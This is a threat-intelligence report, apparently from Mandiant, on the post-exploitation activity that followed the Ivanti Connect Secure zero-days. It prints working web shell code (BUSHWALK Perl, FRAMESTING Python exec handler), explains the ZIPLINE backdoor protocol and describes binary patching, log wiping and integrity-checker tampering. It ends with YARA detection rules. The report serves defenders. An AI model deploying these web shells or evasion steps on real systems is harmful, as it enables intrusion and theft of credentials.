Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation

Written by: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan

On Jan. 12, 2024, Mandiant published a blog post detailing two high-impact zero-day vulnerabilities, CVE-2023-46805 and CVE-2024-21887, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy Secure (PS) appliances. On Jan. 31, 2024, Ivanti disclosed two additional vulnerabilities impacting CS and PS devices, CVE-2024-21888 and CVE-2024-21893.

The vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being tracked as UNC5221. 

Mandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory activity has been performed through automated methods.

In this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We also detail new malware families and variants to previously identified malware families being used by UNC5221. We acknowledge the possibility that one or more related groups may be associated with the activity described in this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.

These observations have been supported through Mandiant's incident response engagements, working with Ivanti, and our partners. Mandiant is also providing additional recommendations for network defenders, including indicators of compromise (IOCs), YARA rules, and a hardening guide.

Note: Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the mitigation, run the external Integrity Checker Tool (ICT) to check for evidence of exploitation, and continue following the KB article to receive product updates as they become available. 

Post Exploitation Activity Updates

Mitigation Bypass

A mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as BUSHWALK. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity. 

Note: The external ICT successfully detected the presence of the new web shell. We have observed the threat actor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through the mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and fix the mitigation bypass.

Similar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a legitimate CS file, querymanifest.cgi. BUSHWALK provides a threat actor the ability to execute arbitrary commands or write files to a server.

BUSHWALK executes its malicious Perl function, validateVersion, if the web request platform parameter is SafariiOS. It uses Base64 and RC4 to decode and decrypt the threat actor’s payload in the web request’s command parameter.

sub validateVersion {
    my ($rawdata) = @_;
    if ($rawdata ne ''){
        $rawdata =~ s/ /+/g;
        my $param0 = MIME::Base64::decode($rawdata);
        my $key = substr($param0, 0, 32);
        $key = RC4("<REDACTED>", $key);
        my $data = substr($param0,32);
        $data = RC4($key, $data);
        my @param1 = split("@",$data);
        my @action = split("=",$param1[0]);
        if ($action[1] eq 'change') {
            my $changeData = (split("=",$param1[1]))[1];
            changeVersion($changeData, $key);
        }
        elsif ($action[1] eq 'update'){
            my $fname = (split("=",$param1[1]))[1];
            my $versionData = (split("#",$param1[2]))[1];
            updateVersion($fname, $versionData);
        }
        else {
            print CGI::header(-type=>"text/plain", -status=> '404 Not Found');
            print "error";
        }
        exit;
    }
    else{
        return;
    }
}

Figure 1: Entry point to BUSHWALK execution

The decrypted payload determines if the web shell should execute a command or write a file to the server.

If the decrypted payload contains change, BUSHWALK calls the changeData function to execute an arbitrary command on the compromised appliance. The malware first extracts the command from the buffer. The malware then executes the command and encrypts the command results with RC4 using the provided key.

If the decrypted payload contains update, BUSHWALK calls the updateVersion function to write an arbitrary file to the server. It extracts a file path and the data to write to the file from the buffer. This file data is then Base64-decoded and written to the file at the specified path.

LIGHTWIRE Variant

Mandiant has identified an additional variant of the LIGHTWIRE web shell that inserts itself into a legitimate component of the VPN gateway, compcheckresult.cgi.

The new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog post. Mandiant recommends hunting for GET requests containing these parameters within available web logs, unallocated space, and memory images.

The new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to $useCompOnly. Next, it will use the Perl tr operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling eval.

The original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.

CHAINLINE Web Shell

After the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that Mandiant is tracking as CHAINLINE. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.

CHAINLINE was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py. This is the same Python package modified to support the WIREFIRE web shell.

Unlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called health.py, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE.

UNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint /api/v1/cav/client/health. This was accomplished by importing the maliciously created Health API resource and then calling the add_resource() class method on the FLASK-RESTful Api object within /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py.

Figure 8 shows an excerpt of the relevant file modified to support CHAINLINE.

FRAMESTING Web Shell

Mandiant has identified an additional web shell that we are tracking as FRAMESTING. FRAMESTING is a Python web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.

def post(self):
    import zlib
    import simplejson as json
    try:
        dskey='<REDACTED>'
        dsid=request.cookies.get('DSID')
        data=None
        if dsid and len(dsid)>=64:
            data=dsid+'=='
        else:
            data = zlib.decompress(request.data)
            data=json.loads(data).get('data')
        if data:
            import base64
            from Cryptodome.Cipher import AES
            if dskey not in globals():globals()[dskey]={}
            globals()[dskey].pop('result',None)
            aes=AES.new(dskey.encode(), AES.MODE_ECB)
            result={'message':'','action':0}
            exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache':globals()[dskey]},locals())
            result=globals()[dskey].get('result',result)
            return result, 200
    except:
        pass

Figure 9: category.py modified to handle POST requests for FRAMESTING

FRAMESTING was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.

When installed, the threat actor can access FRAMESTING web shell at the REST endpoint /api/v1/cav/client/categories with a POST request. Note that the legitimate categories endpoint only accepts GET requests.

The web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named DSID from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress zlib data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python exec() statement to dynamically execute additional Python code.

Note that DSID is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.

Updates to ZIPLINE Analysis

Since our previous blog post, Mandiant has completed additional analysis into the ZIPLINE passive backdoor. ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish command and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by ZIPLINE.

Cryptography

ZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption keys are derived from key material sent by the server and combined with hard-coded data embedded in the malware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong array and the first 16 bytes of it are used as the AES-128 keys.

The key material, received by the attacker is defined, as follows:

The relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is calculated on the buffer. 

The truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is described in more details in the next section).

The starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first 16 bytes of the decryption_keydata and encryption_keydata arrays. 

Once produced, both the decryption and the encryption round keys (11 round keys each, including the original AES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of the process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the protocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order. Additionally, the process that contains the passive backdoor is designed to have a relatively short lifespan, terminating after each of the processed commands and likely respawned by the malware ecosystem running on the compromised host.

Authentication

ZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to enforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for decryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index of the current message starting from 0. Every received or sent packet increments the index and the value is appended to the message as part of the authentication mechanism. That way messages out of order would not be able to authenticate, which would lead to termination of the communication with the C2 server.

Figure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC calculations.

In Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes (blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black), followed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1 hash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message sent and received.

Data Protocol

ZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins with the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.

The signature is expected to be the string SSH-2.0-OpenSSH_0.3xx, followed by a structure that contains data for AES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once decrypted, follows the structure described in Figure 13.

Although the message structure is designed to be flexible, this instance of the malware expects the first message to specify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the malware terminates the connection.

In the decrypted message in Figure 14, the size (note, it’s a big endian number) is denoted by the first two bytes (blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch, ZIPLINE will terminate the connection, which would also lead to process termination. The xx bytes shown in black are non-consequential padding values and the yy values (amber) specify the HMAC signature for the message.

If the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it back to the C2 server. After that, it fetches another message, which is expected to have message_t.len equal to one. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is the index of the command to be executed.

Usage of Open-Source Tooling

Across our incident response engagements, Mandiant identified multiple open-source tools utilized to support post-exploitation activity on Ivanti CS appliances. These tools were associated with internal network reconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.

The command sequence executes a Base64-encoded Python script that writes a patched version of the dsls binary (/home/bin/dsls) into /tmp/tools. At a high level, the patched binary allows the dsls command to display sensitive information that is typically redacted. Figure 20 shows the Base64-decoded Python script.

The script looks for the byte sequence 0x8dbd60ffffff within the file /home/bin/dsls. This is a legitimate executable on Ivanti Connect Secure appliances used for displaying the running configuration and cache information. If the byte sequence is found (p>0), it creates a byte array (d) from the file contents (c) for further modification.

The logic then checks if the byte 2 positions before the found byte sequence (p-2) is equal to 0x74. If it is equal to 0x74, it replaces that byte with 0xeb. Lastly, the script rewrites the modified byte array into /tmp/tools. 

The modification of the binary turns a conditional JMP instruction (0x74) into an unconditional JMP (0xeb). The patch forces the execution flow to bypass a check in the legitimate dsls binary responsible for redacting sensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the output with <secure>.

The command sequence continues to do the following:

1. Execute /tmp/tools (patched version of /home/bin/dsls) to dump the configuration and cache to /tmp/test1.txt 
2. Remove /tmp/tools 
3. Create an empty file /tmp/testt with the modified and access timestamps of /home/webserver/htdocs/dana-na/css/. This will be used later to timestomp the CSS directory with its original timestamps. 
4. Remount the file system as read-write
5. Archive the dump into a CSS file within /home/webserver/htdocs/dana-na/css/
6. Delete /tmp/test1.txt

Mandiant identified efforts to remove evidence of compromise after the configuration and cache dump were downloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting CVE-2023-46805 and CVE-2024-21887.

The command sequence does the following:

1. Delete the staged configuration and cache dump
2. Timestomp the CSS directory with the modified and access timestamps of /tmp/testt
3. Clear the config_rest_server.log file that would record exploitation attempts of CVE-2023-46805 and CVE-2024-21887
4. Remount the file system in read-only mode, reverting it back to its original state

Additionally, we have identified the configuration and dump being saved to compressed files located in the following paths:

• /runtime/webserver/htdocs/dana-na/help/logo.gif
• /runtime/webserver/htdocs/dana-na/help/login.gif

Ivanti has published additional guidance on remediating the risk resulting from the cache and configuration dump. This includes resetting local account credentials, resetting API keys, and the revocation of certificates.

CAV Web Server Log Exfiltration

Mandiant has identified evidence of exfiltration of the CAV web server logs staged in /runtime/webserver/htdocs/dana-na/help/logo.gif. The path does not legitimately contain logo.gif.

The command redirects the GIF header into logo.gif and then appends the Base64-encoded contents of /data/var/dlogs/cav_webserv.log into the same file.

cav_webserv.log contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has identified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE, CHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.

ICT Manipulation

The system's internal integrity checker tool can help detect modifications or additions made to the file system. Mandiant has identified instances where the external ICT detected a modification to a Python package associated with the internal ICT: /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg. 

We identified a single line commented out in scanmgr.py that disables the execution of the scanner.

Additionally, Volexity published a blog post on Jan. 18, 2024 detailing another method leveraged to tamper with the built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.

Mandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located at /home/etc/manifest. This file maintains a list of the expected files on the system and its associated SHA256 hash. The internal ICT verifies the manifest file’s signature using a public key.

In some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the internal ICT to fail and generates event ID SYS32042 in the system event log, indicating that the manifest file is bad.

The full list of event IDs associated with the integrity checker tool can be found in Table 3.

rule M_Hunting_Webshell_BUSHWALK_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects BUSHWALK, a webshell written in Perl CGI 
that is embedded into a legitimate Pulse Secure file to enable file transfers"

  strings:
    $s1 = "SafariiOS" ascii
    $s2 = "command" ascii
    $s3 = "change" ascii
    $s4 = "update" ascii
    $s5 = "$data = RC4($key, $data);" ascii
  condition:
    filesize < 5KB
    and all of them
}

rule M_Hunting_Webshell_CHAINLINE_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects the CHAINLINE webshell, 
which receives RC4 encrypted commands and returns the execution result"
    md5 = "3045f5b3d355a9ab26ab6f44cc831a83"
  strings:
    $s1 = "crypt(command: str)" ascii
    $s2 = "tmp[i] = chr(ord(tmp[i])" ascii
    $s3 = "ord(RC4_KEY[i % len(RC4_KEY)])" ascii
    $s4 = "class Health(Resource)" ascii
    $s5 = "crypt(base64.b64decode(command.encode(" ascii
    $s6 = "base64.b64encode(crypt(result)" ascii
    $s7 = "{\"message\": 'ok', \"stats\": result}" ascii
  condition:
    filesize < 100KB and
    any of them
}

rule M_HUNTING_APT_Webshell_FRAMESTING_result
{
    meta:
        author = "Mandiant"
        description = "Detects strings associated with FRAMESTING webshell"
        md5 = "465600cece80861497e8c1c86a07a23e"
    strings:
        $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache'"
        $s2 = "result={'message':'','action':0}"

    condition:
        any of them
}

rule M_Hunting_Webshell_LIGHTWIRE_4 {
  meta:
    author = "Mandiant"
    description = "Detects LIGHTWIRE based on the RC4 decoding 
and execution 1-liner."
    md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"
  strings:
    $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\
(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/
  condition:
    filesize < 1MB and all of them
}

rule M_Hunting_CredTheft_WARPWIRE_strings
{
    meta:
        author = "Mandiant"
        description = "Detects strings within WARPWIRE credential harvester"
        md5 = "b15f47e234b5d26fb2cc81fc6fd89775"
    strings:
        $header = "function SetLastRealm(sValue) {"

        // password fields
        $username = "document.frmLogin.username.value;"
        $password = "document.frmLogin.password.value;"

        // post version
        $btoa = "btoa("
        $xhr_post = /xhr.open\(.POST.,( )?url,/

        // get version
        $xhr_get = /xhr.open\(.GET.,( )?url,/
        $xhr_send = "xhr.send(null);"

    condition:
        $header in (0..100) 
        and $password in (@username[1]..@username[1]+100)
        and ((#btoa > 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..
@xhr_get[1]+50)))
}

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.